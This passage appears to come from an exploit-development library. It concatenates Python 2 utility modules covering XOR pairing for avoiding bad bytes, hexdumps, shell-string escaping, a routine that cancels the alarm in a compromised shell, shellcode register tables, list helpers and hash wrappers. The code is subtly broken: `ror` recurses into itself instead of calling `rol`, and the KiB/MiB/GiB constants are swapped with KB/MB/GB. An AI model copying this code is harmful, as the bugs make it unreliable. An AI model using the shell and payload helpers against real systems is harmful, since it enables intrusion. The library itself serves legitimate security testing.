    strs = [packing.flat(s, word_size = 8, sign = False, endianness = 'little') for s in args]
    strs = [[ord(c) for c in s] for s in strs if s != '']

    if strs == []:
        return ''

    if isinstance(cut, (int, long)):
        cut = cut
    elif cut == 'left':
        cut = len(strs[0])
    elif cut == 'right':
        cut = len(strs[-1])
    elif cut == 'min':
        cut = min(len(s) for s in strs)
    elif cut == 'max':
        cut = max(len(s) for s in strs)
    else:
        raise ValueError("Not a valid argument for 'cut'")

    def get(n):
        return chr(reduce(lambda x, y: x ^ y, [s[n % len(s)] for s in strs]))

    return ''.join(get(n) for n in range(cut))

def xor_pair(data, avoid = '\x00\n'):
    """xor_pair(data, avoid = '\\x00\\n') -> None or (str, str)

    Finds two strings that will xor into a given string, while only
    using a given alphabet.

    Arguments:
        data (str): The desired string.
        avoid: The list of disallowed characters. Defaults to nulls and newlines.

    Returns:
        Two strings which will xor to the given string. If no such two strings exist, then None is returned.

    Example:

        >>> xor_pair("test")
        ('\\x01\\x01\\x01\\x01', 'udru')
    """

    if isinstance(data, (int, long)):
        data = packing.pack(data)

    alphabet = list(chr(n) for n in range(256) if chr(n) not in avoid)

    res1 = ''
    res2 = ''

    for c1 in data:
        if context.randomize:
            random.shuffle(alphabet)
        for c2 in alphabet:
            c3 = chr(ord(c1) ^ ord(c2))
            if c3 in alphabet:
                res1 += c2
                res2 += c3
                break
        else:
            return None

    return res1, res2

def xor_key(data, avoid='\x00\n', size=None):
    r"""xor_key(data, size=None, avoid='\x00\n') -> None or (int, str)

    Finds a ``size``-width value that can be XORed with a string
    to produce ``data``, while neither the XOR value or XOR string
    contain any bytes in ``avoid``.

    Arguments:
        data (str): The desired string.
        avoid: The list of disallowed characters. Defaults to nulls and newlines.
        size (int): Size of the desired output value, default is word size.

    Returns:
        A tuple containing two strings; the XOR key and the XOR string.
        If no such pair exists, None is returned.

    Example:

        >>> xor_key("Hello, world")
        ('\x01\x01\x01\x01', 'Idmmn-!vnsme')
    """
    size = size or context.bytes

    if len(data) % size:
        log.error("Data must be padded to size for xor_key")

    words    = lists.group(size, data)
    columns  = [''] * size
    for word in words:
        for i,byte in enumerate(word):
            columns[i] += byte

    alphabet = list(chr(n) for n in range(256) if chr(n) not in avoid)

    result = ''

    for column in columns:
        if context.randomize:
            random.shuffle(alphabet)
        for c2 in alphabet:
            if all(chr(ord(c)^ord(c2)) in alphabet for c in column):
                result += c2
                break
        else:
            return None

    return result, xor(data, result)

def randoms(count, alphabet = string.lowercase):
    """randoms(count, alphabet = string.lowercase) -> str

    Returns a random string of a given length using only the specified alphabet.

    Arguments:
        count (int): The length of the desired string.
        alphabet: The alphabet of allowed characters. Defaults to all lowercase characters.

    Returns:
        A random string.

    Example:

        >>> randoms(10) #doctest: +SKIP
        'evafjilupm'
    """

    return ''.join(random.choice(alphabet) for _ in xrange(count))


def rol(n, k, word_size = None):
    """Returns a rotation by `k` of `n`.

    When `n` is a number, then means ``((n << k) | (n >> (word_size - k)))`` truncated to `word_size` bits.

    When `n` is a list, tuple or string, this is ``n[k % len(n):] + n[:k % len(n)]``.

    Arguments:
        n: The value to rotate.
        k(int): The rotation amount. Can be a positive or negative number.
        word_size(int): If `n` is a number, then this is the assumed bitsize of `n`.  Defaults to :data:`pwnlib.context.word_size` if `None` .

    Example:

        >>> rol('abcdefg', 2)
        'cdefgab'
        >>> rol('abcdefg', -2)
        'fgabcde'
        >>> hex(rol(0x86, 3, 8))
        '0x34'
        >>> hex(rol(0x86, -3, 8))
        '0xd0'
    """

    word_size = word_size or context.word_size

    if not isinstance(word_size, (int, long)) or word_size <= 0:
        raise ValueError("rol(): 'word_size' must be a strictly positive integer")

    if not isinstance(k, (int, long)):
        raise ValueError("rol(): 'k' must be an integer")

    if isinstance(n, (str, unicode, list, tuple)):
        return n[k % len(n):] + n[:k % len(n)]
    elif isinstance(n, (int, long)):
        k = k % word_size
        n = (n << k) | (n >> (word_size - k))
        n &= (1 << word_size) - 1

        return n
    else:
        raise ValueError("rol(): 'n' must be an integer, string, list or tuple")

def ror(n, k, word_size = None):
    """A simple wrapper around :func:`rol`, which negates the values of `k`."""

    return ror(n, -k, word_size)

def naf(n):
    """naf(int) -> int generator

    Returns a generator for the non-adjacent form (NAF[1]) of a number, `n`.  If
    `naf(n)` generates `z_0, z_1, ...`, then `n == z_0 + z_1 * 2 + z_2 * 2**2,
    ...`.

    [1] https://en.wikipedia.org/wiki/Non-adjacent_form

    Example:

      >>> n = 45
      >>> m = 0
      >>> x = 1
      >>> for z in naf(n):
      ...     m += x * z
      ...     x *= 2
      >>> n == m
      True

    """
    while n:
        z = 2 - n % 4 if n & 1 else 0
        n = (n - z) // 2
        yield z

def isprint(c):
    """isprint(c) -> bool

    Return True if a character is printable"""
    return c in string.ascii_letters + string.digits + string.punctuation + ' '


def hexii(s, width = 16, skip = True):
    """hexii(s, width = 16, skip = True) -> str

    Return a HEXII-dump of a string.

    Arguments:
        s(str): The string to dump
        width(int): The number of characters per line
        skip(bool): Should repeated lines be replaced by a "*"

    Returns:
        A HEXII-dump in the form of a string.
    """

    return hexdump(s, width, skip, True)

def _hexiichar(c):
    HEXII = string.punctuation + string.digits + string.letters
    if c in HEXII:
        return ".%c " % c
    elif c == '\0':
        return "   "
    elif c == '\xff':
        return "## "
    else:
        return "%02x " % ord(c)

default_style = {
    'marker':       text.gray if text.has_gray else text.blue,
    'nonprintable': text.gray if text.has_gray else text.blue,
    '00':           text.red,
    '0a':           text.red,
    'ff':           text.green,
}

cyclic_pregen = ''

def sequential_lines(a,b):
    return (a+b) in cyclic_pregen

def update_cyclic_pregenerated(size):
    global cyclic_pregen
    cyclic_pregen = cyclic(size)

def hexdump_iter(s, width = 16, skip = True, hexii = False, begin = 0,
                 style = None, highlight = None, cyclic=False):
    """hexdump_iter(s, width = 16, skip = True, hexii = False, begin = 0,
                    style = {}, highlight = []) -> str generator

    Return a hexdump-dump of a string as a generator of lines.

    Arguments:
        s(str): The string to dump
        width(int): The number of characters per line
        skip(bool): Set to True, if repeated lines should be replaced by a "*"
        hexii(bool): Set to True, if a hexii-dump should be returned instead of a hexdump.
        begin(int):  Offset of the first byte to print in the left column
        style(dict): Color scheme to use.
        highlight(iterable): Byte values to highlight.
        cyclic(bool): Attempt to skip consecutive, unmodified cyclic lines

    Returns:
        A hexdump-dump in the form of a string.
    """
    style     = style or {}
    highlight = highlight or []

    for b in highlight:
        if isinstance(b, str):
            b = ord(b)
        style['%02x' % b] = text.white_on_red
    _style = style
    style = default_style.copy()
    style.update(_style)

    skipping    = False
    lines       = []
    last_unique = ''
    byte_width  = len('00 ')
    column_sep  = '  '
    line_fmt    = '%%(offset)08x  %%(hexbytes)-%is │%%(printable)s│' % (len(column_sep)+(width*byte_width))
    spacer      = ' '
    marker      = (style.get('marker') or (lambda s:s))('│')

    if hexii:
        column_sep = ''
        line_fmt   = '%%(offset)08x  %%(hexbytes)-%is│' % (len(column_sep)+(width*byte_width))
    else:
        def style_byte(b):
            hbyte = '%02x' % ord(b)
            abyte = b if isprint(b) else '·'
            if hbyte in style:
                st = style[hbyte]
            elif isprint(b):
                st = style.get('printable')
            else:
                st = style.get('nonprintable')
            if st:
                hbyte = st(hbyte)
                abyte = st(abyte)
            return hbyte, abyte
        cache = [style_byte(chr(b)) for b in range(256)]

    if cyclic:
        update_cyclic_pregenerated(len(s))

    chunks = lists.group(width, s)

    for line, chunk in enumerate(chunks):
        # If this chunk is the same as the last unique chunk,
        # use a '*' instead.
        if line != 0 \
        and line != len(chunks)-1 \
        and skip \
        and (last_unique == chunk \
            or (cyclic and sequential_lines(last_unique, chunk))):
            last_unique = chunk
            if not skipping:
                yield '*'
                skipping = True
            continue

        # Chunk is unique, save for next iteration
        last_unique = chunk
        skipping = False

        # Cenerate contents for line
        offset    = begin+line*width
        hexbytes = ''
        printable = ''
        for i, b in enumerate(chunk):
            if not hexii:
                hbyte, abyte = cache[ord(b)]
            else:
                hbyte, abyte = _hexiichar(b), ''

            if i % 4 == 3 and i < width - 1:
                hbyte += spacer
                abyte += marker

            hexbytes += hbyte + ' '
            printable += abyte

        if i + 1 < width:
            delta = width - i - 1
            hexbytes += ' ' * (byte_width * delta + (delta - 1) // 4)

        line = line_fmt % {'offset': offset, 'hexbytes': hexbytes, 'printable': printable}
        yield line

    line = "%08x" % (len(s) + begin)
    yield line

def hexdump(s, width = 16, skip = True, hexii = False, begin = 0,
            style = None, highlight = None, cyclic=False):
    s = packing.flat(s)
    return '\n'.join(hexdump_iter(s, width, skip, hexii, begin, style, highlight, cyclic))

def negate(value, width = None):
    """
    Returns the two's complement of 'value'.
    """
    if width is None:
        width = context.bits
    mask = ((1<<width)-1)
    return ((mask+1) - value) & mask

def bnot(value, width=None):
    """
    Returns the binary inverse of 'value'.
    """
    if width is None:
        width = context.bits
    mask = ((1<<width)-1)
    return mask ^ value






import base64
import errno
import os
import platform
import re
import socket
import stat
import string

from . import lists
from . import fiddling
from ..context import context
from ..log import getLogger

log = getLogger(__name__)

def align(alignment, x):
    """align(alignment, x) -> int

    Rounds `x` up to nearest multiple of the `alignment`.

    Example:
      >>> [align(5, n) for n in range(15)]
      [0, 5, 5, 5, 5, 5, 10, 10, 10, 10, 10, 15, 15, 15, 15]
    """
    return ((x + alignment - 1) // alignment) * alignment


def align_down(alignment, x):
    """align_down(alignment, x) -> int

    Rounds `x` down to nearest multiple of the `alignment`.

    Example:
        >>> [align_down(5, n) for n in range(15)]
        [0, 0, 0, 0, 0, 5, 5, 5, 5, 5, 10, 10, 10, 10, 10]
    """
    a = alignment
    return (x // a) * a


def binary_ip(host):
    """binary_ip(host) -> str

    Resolve host and return IP as four byte string.

    Example:
        >>> binary_ip("127.0.0.1")
        '\\x7f\\x00\\x00\\x01'
    """
    return socket.inet_aton(socket.gethostbyname(host))


def size(n, abbriv = 'B', si = False):
    """size(n, abbriv = 'B', si = False) -> str

    Convert the length of a bytestream to human readable form.

    Arguments:
      n(int,str): The length to convert to human readable form
      abbriv(str):

    Example:
        >>> size(451)
        '451B'
        >>> size(1000)
        '1000B'
        >>> size(1024)
        '1.00KB'
        >>> size(1024, si = True)
        '1.02KB'
        >>> [size(1024 ** n) for n in range(7)]
        ['1B', '1.00KB', '1.00MB', '1.00GB', '1.00TB', '1.00PB', '1024.00PB']
    """
    if isinstance(n, str):
        n = len(n)

    base = 1000.0 if si else 1024.0
    if n < base:
        return '%d%s' % (n, abbriv)

    for suffix in ['K', 'M', 'G', 'T']:
        n /= base
        if n < base:
            return '%.02f%s%s' % (n, suffix, abbriv)

    return '%.02fP%s' % (n / base, abbriv)

KB = 1024
MB = 1024 * KB
GB = 1024 * MB

KiB = 1000
MiB = 1000 * KB
GiB = 1000 * MB

def read(path, count=-1, skip=0):
    r"""read(path, count=-1, skip=0) -> str

    Open file, return content.

    Examples:
        >>> read('/proc/self/exe')[:4]
        '\x7fELF'
    """
    path = os.path.expanduser(os.path.expandvars(path))
    with open(path) as fd:
        if skip:
            fd.seek(skip)
        return fd.read(count)


def write(path, data = '', create_dir = False, mode = 'w'):
    """Create new file or truncate existing to zero length and write data."""
    path = os.path.expanduser(os.path.expandvars(path))
    if create_dir:
        path = os.path.realpath(path)
        mkdir_p(os.path.dirname(path))
    with open(path, mode) as f:
        f.write(data)

def which(name, all = False):
    """which(name, flags = os.X_OK, all = False) -> str or str set

    Works as the system command ``which``; searches $PATH for ``name`` and
    returns a full path if found.

    If `all` is :const:`True` the set of all found locations is returned, else
    the first occurence or :const:`None` is returned.

    Arguments:
      `name` (str): The file to search for.
      `all` (bool):  Whether to return all locations where `name` was found.

    Returns:
      If `all` is :const:`True` the set of all locations where `name` was found,
      else the first location or :const:`None` if not found.

    Example:
      >>> which('sh')
      '/bin/sh'
"""
    # If name is a path, do not attempt to resolve it.
    if os.path.sep in name:
        return name

    isroot = os.getuid() == 0
    out = set()
    try:
        path = os.environ['PATH']
    except KeyError:
        log.exception('Environment variable $PATH is not set')
    for p in path.split(os.pathsep):
        p = os.path.join(p, name)
        if os.access(p, os.X_OK):
            st = os.stat(p)
            if not stat.S_ISREG(st.st_mode):
                continue
            # work around this issue: https://bugs.python.org/issue9311
            if isroot and not \
              st.st_mode & (stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH):
                continue
            if all:
                out.add(p)
            else:
                return p
    if all:
        return out
    else:
        return None

def run_in_new_terminal(command, terminal = None, args = None):
    """run_in_new_terminal(command, terminal = None) -> None

    Run a command in a new terminal.

    When `terminal` is not set:
      - If `context.terminal` is set it will be used.  If it is an iterable then
        `context.terminal[1:]` are default arguments.
      - If X11 is detected (by the presence of the ``DISPLAY`` environment
        variable), ``x-terminal-emulator`` is used.
      - If tmux is detected (by the presence of the ``TMUX`` environment
        variable), a new pane will be opened.

    Arguments:
      command (str): The command to run.
      terminal (str): Which terminal to use.
      args (list): Arguments to pass to the terminal

    Returns:
      None

    """

    if not terminal:
        if context.terminal:
            terminal = context.terminal[0]
            args     = context.terminal[1:]
        elif 'DISPLAY' in os.environ:
            terminal = 'x-terminal-emulator'
            args     = ['-e']
        elif 'TMUX' in os.environ:
            terminal = 'tmux'
            args     = ['splitw']

    if not terminal:
        log.error('Argument `terminal` is not set, and could not determine a default')

    terminal_path = which(terminal)

    if not terminal_path:
        log.error('Could not find terminal: %s' % terminal)

    argv = [terminal_path] + args

    if isinstance(command, str):
        argv += [command]
    elif isinstance(command, (list, tuple)):
        argv += list(command)

    log.debug("Launching a new terminal: %r" % argv)

    if os.fork() == 0:
        # Closing the file descriptors makes everything fail under tmux on OSX.
        if platform.system() != 'Darwin':
            os.close(0)
            os.close(1)
            os.close(2)
        os.execv(argv[0], argv)
        os._exit(1)

def parse_ldd_output(output):
    """Parses the output from a run of 'ldd' on a binary.
    Returns a dictionary of {path: address} for
    each library required by the specified binary.

    Arguments:
      output(str): The output to parse

    Example:
        >>> sorted(parse_ldd_output('''
        ...     linux-vdso.so.1 =>  (0x00007fffbf5fe000)
        ...     libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007fe28117f000)
        ...     libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe280f7b000)
        ...     libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe280bb4000)
        ...     /lib64/ld-linux-x86-64.so.2 (0x00007fe2813dd000)
        ... ''').keys())
        ['/lib/x86_64-linux-gnu/libc.so.6', '/lib/x86_64-linux-gnu/libdl.so.2', '/lib/x86_64-linux-gnu/libtinfo.so.5', '/lib64/ld-linux-x86-64.so.2']
    """
    expr_linux   = re.compile(r'\s(?P<lib>\S?/\S+)\s+\((?P<addr>0x.+)\)')
    expr_openbsd = re.compile(r'^\s+(?P<addr>[0-9a-f]+)\s+[0-9a-f]+\s+\S+\s+[01]\s+[0-9]+\s+[0-9]+\s+(?P<lib>\S+)$')
    libs = {}

    for s in output.split('\n'):
        match = expr_linux.search(s) or expr_openbsd.search(s)
        if not match:
            continue
        lib, addr = match.group('lib'), match.group('addr')
        libs[lib] = int(addr, 16)

    return libs

def mkdir_p(path):
    """Emulates the behavior of ``mkdir -p``."""

    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else:
            raise

def sh_string(s):
    """Outputs a string in a format that will be understood by /bin/sh.

    If the string does not contain any bad characters, it will simply be
    returned, possibly with quotes. If it contains bad characters, it will
    be escaped in a way which is compatible with most known systems.

    Examples:

        >>> print sh_string('foobar')
        foobar
        >>> print sh_string('foo bar')
        'foo bar'
        >>> print sh_string("foo'bar")
        "foo'bar"
        >>> print sh_string("foo\\\\bar")
        'foo\\bar'
        >>> print sh_string("foo\\\\'bar")
        "foo\\\\'bar"
        >>> print sh_string("foo\\x01'bar")
        "$(printf 'foo\\001\\047bar')"
        >>> print `subprocess.check_output("echo -n " + sh_string("foo\\x01'bar"), shell = True)`
        "foo\\x01'bar"
    """

    very_good = set(string.ascii_letters + string.digits)
    good      = (very_good | set(string.punctuation + ' ')) - set("'")
    alt_good  = (very_good | set(string.punctuation + ' ')) - set('!')

    if '\x00' in s:
        log.error("sh_string(): Cannot create a null-byte")
    if s.endswith('\n'):
        log.error("sh_string(): Cannot create a newline-terminated string")

    if all(c in very_good for c in s):
        return s
    elif all(c in good for c in s):
        return "'%s'" % s
    elif all(c in alt_good for c in s):
        fixed = ''
        for c in s:
            if c in '"\\$`':
                fixed += '\\' + c
            else:
                fixed += c
        return '"%s"' % fixed
    else:
        fixed = ''
        for c in s:
            if c == '\\':
                fixed += '\\\\'
            elif c == '\n':
                fixed += '\\n'
            elif c in good:
                fixed += c
            else:
                fixed += '\\%03o' % ord(c)
        return '"$(printf \'%s\')"' % fixed

def sh_prepare(variables, export = False):
    """Outputs a posix compliant shell command that will put the data specified
    by the dictionary into the environment.

    It is assumed that the keys in the dictionary are valid variable names that
    does not need any escaping.

    Arguments:
      variables(dict): The variables to set.
      export(bool): Should the variables be exported or only stored in the shell environment?
      output(str): A valid posix shell command that will set the given variables.

    It is assumed that `var` is a valid name for a variable in the shell.

    Examples:

        >>> print sh_prepare({'X': 'foobar'})
        X=foobar
        >>> r = sh_prepare({'X': 'foobar', 'Y': 'cookies'})
        >>> r == 'X=foobar;Y=cookies' or r == 'Y=cookies;X=foobar'
        True
        >>> print sh_prepare({'X': 'foo bar'})
        X='foo bar'
        >>> print sh_prepare({'X': "foo'bar"})
        X="foo'bar"
        >>> print sh_prepare({'X': "foo\\\\bar"})
        X='foo\\bar'
        >>> print sh_prepare({'X': "foo\\\\'bar"})
        X="foo\\\\'bar"
        >>> print sh_prepare({'X': "foo\\x01'bar"})
        X="$(printf 'foo\\001\\047bar')"
        >>> print sh_prepare({'X': "foo\\x01'bar"}, export = True)
        export X="$(printf 'foo\\001\\047bar')"
        >>> print sh_prepare({'X': "foo\\x01'bar\\n"})
        X="$(printf 'foo\\001\\047bar\\nx')";X=${X%x}
        >>> print sh_prepare({'X': "foo\\x01'bar\\n"}, export = True)
        X="$(printf 'foo\\001\\047bar\\nx')";export X=${X%x}
        >>> print `subprocess.check_output('%s;echo -n "$X"' % sh_prepare({'X': "foo\\x01'bar"}), shell = True)`
        "foo\\x01'bar"
    """

    out = []
    export = 'export ' if export else ''

    for k, v in variables.items():
        if v.endswith('\n'):
            out.append('%s=%s;%s%s=${%s%%x}' % (k, sh_string(v + "x"), export, k, k))
        else:
            out.append('%s%s=%s' % (export, k, sh_string(v)))
    return ';'.join(out)

def sh_command_with(f, *args):
    """sh_command_with(f, arg0, ..., argN) -> command

    Returns a command create by evaluating `f(new_arg0, ..., new_argN)`
    whenever `f` is a function and `f % (new_arg0, ..., new_argN)` otherwise.

    If the arguments are purely alphanumeric, then they are simply passed to
    function. If they are simple to escape, they will be escaped and passed to
    the function.

    If the arguments contain trailing newlines, then it is hard to use them
    directly because of a limitation in the posix shell. In this case the
    output from `f` is prepended with a bit of code to create the variables.

    Examples:

        >>> print sh_command_with(lambda: "echo hello")
        echo hello
        >>> print sh_command_with(lambda x: "echo " + x, "hello")
        echo hello
        >>> print sh_command_with(lambda x: "echo " + x, "\\x01")
        echo "$(printf '\\001')"
        >>> import random
        >>> random.seed(1)
        >>> print sh_command_with(lambda x: "echo " + x, "\\x01\\n")
        dwtgmlqu="$(printf '\\001\\nx')";dwtgmlqu=${dwtgmlqu%x};echo "$dwtgmlqu"
        >>> random.seed(1)
        >>> print sh_command_with("echo %s", "\\x01\\n")
        dwtgmlqu="$(printf '\\001\\nx')";dwtgmlqu=${dwtgmlqu%x};echo "$dwtgmlqu"
    """

    args = list(args)
    out = []

    for n in range(len(args)):
        if args[n].endswith('\n'):
            v = fiddling.randoms(8)
            out.append(sh_prepare({v: args[n]}))
            args[n] = '"$%s"' % v
        else:
            args[n] = sh_string(args[n])
    if hasattr(f, '__call__'):
        out.append(f(*args))
    else:
        out.append(f % tuple(args))
    return ';'.join(out)

def dealarm_shell(tube):
    """Given a tube which is a shell, dealarm it.
    """
    tube.clean()

    tube.sendline('which python || echo')
    if tube.recvline().startswith('/'):
        tube.sendline('''exec python -c "import signal, os; signal.alarm(0); os.execl('$SHELL','')"''')
        return tube

    tube.sendline('which perl || echo')
    if tube.recvline().startswith('/'):
        tube.sendline('''exec perl -e "alarm 0; exec '${SHELL:-/bin/sh}'"''')
        return tube

    return None

def register_sizes(regs, in_sizes):
    """Create dictionaries over register sizes and relations

    Given a list of lists of overlapping register names (e.g. ['eax','ax','al','ah']) and a list of input sizes,
    it returns the following:

    * all_regs    : list of all valid registers
    * sizes[reg]  : the size of reg in bits
    * bigger[reg] : list of overlapping registers bigger than reg
    * smaller[reg]: list of overlapping registers smaller than reg

    Used in i386/AMD64 shellcode, e.g. the mov-shellcode.

    Example:
        >>> regs = [['eax', 'ax', 'al', 'ah'],['ebx', 'bx', 'bl', 'bh'],
        ... ['ecx', 'cx', 'cl', 'ch'],
        ... ['edx', 'dx', 'dl', 'dh'],
        ... ['edi', 'di'],
        ... ['esi', 'si'],
        ... ['ebp', 'bp'],
        ... ['esp', 'sp'],
        ... ]
        >>> all_regs, sizes, bigger, smaller = register_sizes(regs, [32, 16, 8, 8])
        >>> all_regs
        ['eax', 'ax', 'al', 'ah', 'ebx', 'bx', 'bl', 'bh', 'ecx', 'cx', 'cl', 'ch', 'edx', 'dx', 'dl', 'dh', 'edi', 'di', 'esi', 'si', 'ebp', 'bp', 'esp', 'sp']
        >>> sizes
        {'ch': 8, 'cl': 8, 'ah': 8, 'edi': 32, 'al': 8, 'cx': 16, 'ebp': 32, 'ax': 16, 'edx': 32, 'ebx': 32, 'esp': 32, 'esi': 32, 'dl': 8, 'dh': 8, 'di': 16, 'bl': 8, 'bh': 8, 'eax': 32, 'bp': 16, 'dx': 16, 'bx': 16, 'ecx': 32, 'sp': 16, 'si': 16}
        >>> bigger
        {'ch': ['ecx', 'cx', 'ch'], 'cl': ['ecx', 'cx', 'cl'], 'ah': ['eax', 'ax', 'ah'], 'edi': ['edi'], 'al': ['eax', 'ax', 'al'], 'cx': ['ecx', 'cx'], 'ebp': ['ebp'], 'ax': ['eax', 'ax'], 'edx': ['edx'], 'ebx': ['ebx'], 'esp': ['esp'], 'esi': ['esi'], 'dl': ['edx', 'dx', 'dl'], 'dh': ['edx', 'dx', 'dh'], 'di': ['edi', 'di'], 'bl': ['ebx', 'bx', 'bl'], 'bh': ['ebx', 'bx', 'bh'], 'eax': ['eax'], 'bp': ['ebp', 'bp'], 'dx': ['edx', 'dx'], 'bx': ['ebx', 'bx'], 'ecx': ['ecx'], 'sp': ['esp', 'sp'], 'si': ['esi', 'si']}
        >>> smaller
        {'ch': [], 'cl': [], 'ah': [], 'edi': ['di'], 'al': [], 'cx': ['cl', 'ch'], 'ebp': ['bp'], 'ax': ['al', 'ah'], 'edx': ['dx', 'dl', 'dh'], 'ebx': ['bx', 'bl', 'bh'], 'esp': ['sp'], 'esi': ['si'], 'dl': [], 'dh': [], 'di': [], 'bl': [], 'bh': [], 'eax': ['ax', 'al', 'ah'], 'bp': [], 'dx': ['dl', 'dh'], 'bx': ['bl', 'bh'], 'ecx': ['cx', 'cl', 'ch'], 'sp': [], 'si': []}
    """
    sizes = {}
    bigger = {}
    smaller = {}

    for l in regs:
        for r, s in zip(l, in_sizes):
            sizes[r] = s

        for r in l:
            bigger[r] = [r_ for r_ in l if sizes[r_] > sizes[r] or r == r_]
            smaller[r] = [r_ for r_ in l if sizes[r_] < sizes[r]]

    return lists.concat(regs), sizes, bigger, smaller






import collections


def partition(lst, f, save_keys = False):
    """partition(lst, f, save_keys = False) -> list

    Partitions an iterable into sublists using a function to specify which
    group they belong to.

    It works by calling `f` on every element and saving the results into
    an :class:`collections.OrderedDict`.

    Arguments:
      lst: The iterable to partition
      f(function): The function to use as the partitioner.
      save_keys(bool): Set this to True, if you want the OrderedDict
                       returned instead of just the values

    Example:
      >>> partition([1,2,3,4,5], lambda x: x&1)
      [[1, 3, 5], [2, 4]]
    """
    d = collections.OrderedDict()

    for l in lst:
        c = f(l)
        s = d.setdefault(c, [])
        s.append(l)
    if save_keys:
        return d
    else:
        return d.values()

def group(n, lst, underfull_action = 'ignore', fill_value = None):
    """group(n, lst, underfull_action = 'ignore', fill_value = None) -> list

    Split sequence into subsequences of given size. If the values cannot be
    evenly distributed among into groups, then the last group will either be
    returned as is, thrown out or padded with the value specified in fill_value.

    Arguments:
      n (int): The size of resulting groups
      lst: The list, tuple or string to group
      underfull_action (str): The action to take in case of an underfull group at the end. Possible values are 'ignore', 'drop' or 'fill'.
      fill_value: The value to fill into an underfull remaining group.

    Returns:
      A list containing the grouped values.

    Example:
      >>> group(3, "ABCDEFG")
      ['ABC', 'DEF', 'G']
      >>> group(3, 'ABCDEFG', 'drop')
      ['ABC', 'DEF']
      >>> group(3, 'ABCDEFG', 'fill', 'Z')
      ['ABC', 'DEF', 'GZZ']
      >>> group(3, list('ABCDEFG'), 'fill')
      [['A', 'B', 'C'], ['D', 'E', 'F'], ['G', None, None]]
    """

    if underfull_action not in ['ignore', 'drop', 'fill']:
        raise ValueError("group(): underfull_action must be either 'ignore', 'drop' or 'fill'")

    if underfull_action == 'fill':
        if isinstance(lst, tuple):
            fill_value = (fill_value,)
        elif isinstance(lst, list):
            fill_value = [fill_value]
        elif isinstance(lst, (str, unicode)):
            if not isinstance(fill_value, (str, unicode)):
                raise ValueError("group(): cannot fill a string with a non-string")
        else:
            raise ValueError("group(): 'lst' must be either a tuple, list or string")

    out = []
    for i in range(0, len(lst), n):
        out.append(lst[i:i+n])

    if out and len(out[-1]) < n:
        if underfull_action == 'ignore':
            pass
        elif underfull_action == 'drop':
            out.pop()
        else:
            out[-1] = out[-1] + fill_value * (n - len(out[-1]))

    return out

def concat(l):
    """concat(l) -> list

    Concats a list of lists into a list.

    Example:

      >>> concat([[1, 2], [3]])
      [1, 2, 3]

    """

    res = []
    for k in l:
        res.extend(k)

    return res

def concat_all(*args):
    """concat_all(*args) -> list

    Concats all the arguments together.

    Example:
       >>> concat_all(0, [1, (2, 3)], [([[4, 5, 6]])])
       [0, 1, 2, 3, 4, 5, 6]
    """

    if len(args) != 1:
        return concat_all(list(args))

    if not isinstance(args[0], (tuple, list)):
        return [args[0]]

    res = []
    for k in args[0]:
        res.extend(concat_all(k))

    return res

def ordlist(s):
    """ordlist(s) -> list

    Turns a string into a list of the corresponding ascii values.

    Example:
      >>> ordlist("hello")
      [104, 101, 108, 108, 111]
    """
    return map(ord, s)

def unordlist(cs):
    """unordlist(cs) -> str

    Takes a list of ascii values and returns the corresponding string.

    Example:
      >>> unordlist([104, 101, 108, 108, 111])
      'hello'
    """
    return ''.join(chr(c) for c in cs)

def findall(haystack, needle):
    """findall(l, e) -> l

    Generate all indices of needle in haystack, using the
    Knuth-Morris-Pratt algorithm.

    Example:
      >>> foo = findall([1,2,3,4,4,3,4,2,1], 4)
      >>> foo.next()
      3
      >>> foo.next()
      4
      >>> foo.next()
      6
    """
    def __kmp_table(W):
        pos = 1
        cnd = 0
        T = []
        T.append(-1)
        T.append(0)
        while pos < len(W):
            if W[pos] == W[cnd]:
                cnd += 1
                pos += 1
                T.append(cnd)
            elif cnd > 0:
                cnd = T[cnd]
            else:
                pos += 1
                T.append(0)
        return T

    def __kmp_search(S, W):
        m = 0
        i = 0
        T = __kmp_table(W)
        while m + i < len(S):
            if S[m + i] == W[i]:
                i += 1
                if i == len(W):
                    yield m
                    m += i - T[i]
                    i = max(T[i], 0)
            else:
                m += i - T[i]
                i = max(T[i], 0)

    def __single_search(S, w):
        for i in xrange(len(S)):
            if S[i] == w:
                yield i


    if type(haystack) != type(needle):
        needle = [needle]
    if len(needle) == 1:
        return __single_search(haystack, needle[0])
    else:
        return __kmp_search(haystack, needle)






from ..context import context
from .fiddling import hexdump
from .packing import unpack


class linux_dirent(object):
    def __init__(self, buf):
        n = context.bytes

        # Long
        self.d_ino    = unpack(buf[:n])
        buf=buf[n:]

        # Long
        self.d_off    = unpack(buf[:n])
        buf=buf[n:]

        # Short
        self.d_reclen = unpack(buf[:2], 16)
        buf=buf[2:]

        # Name
        self.d_name = buf[:buf.index('\x00')]

    def __len__(self):
        return self.d_reclen # 2 * context.bytes + 2 + len(self.d_name) + 1

    def __str__(self):
        return "inode=%i %r" % (self.d_ino, self.d_name)

def dirents(buf):
    """unpack_dents(buf) -> list

    Extracts data from a buffer emitted by getdents()

    Arguments:
        buf(str): Byte array

    Returns:
        A list of filenames.

    Example:

        >>> data = '5ade6d010100000010002e0000000004010000000200000010002e2e006e3d04092b6d010300000010007461736b00045bde6d010400000010006664003b3504'
        >>> data = data.decode('hex')
        >>> print dirents(data)
        ['.', '..', 'fd', 'task']
    """
    d = []

    while buf:
        try:
            ent = linux_dirent(buf)
        except ValueError:
            break
        d.append(ent.d_name)
        buf = buf[len(ent):]

    return sorted(d)






"""
Functions for computing various hashes of files and strings.
"""
import hashlib

for _algo in hashlib.algorithms:
    def _closure():
        hash = hashlib.__dict__[_algo]
        def file(p):
            h = hash()
            fd = open(p)
            while True:
                s = fd.read(4096)
                if not s:
                    break
                h.update(s)
            fd.close()
            return h
        def sum(s):
            return hash(s)
        filef = lambda x: file(x).digest()
        filef.__doc__ = 'Calculates the %s sum of a file' % _algo
        sumf = lambda x: sum(x).digest()
        sumf.__doc__ = 'Calculates the %s sum of a string' % _algo
        fileh = lambda x: file(x).hexdigest()
        fileh.__doc__ = 'Calculates the %s sum of a file; returns hex-encoded' % _algo
        sumh = lambda x: sum(x).hexdigest()
        sumh.__doc__ = 'Calculates the %s sum of a string; returns hex-encoded' % _algo
        return filef, sumf, fileh, sumh
    (globals()[_algo + 'file'],
     globals()[_algo + 'sum'],
     globals()[_algo + 'filehex'],
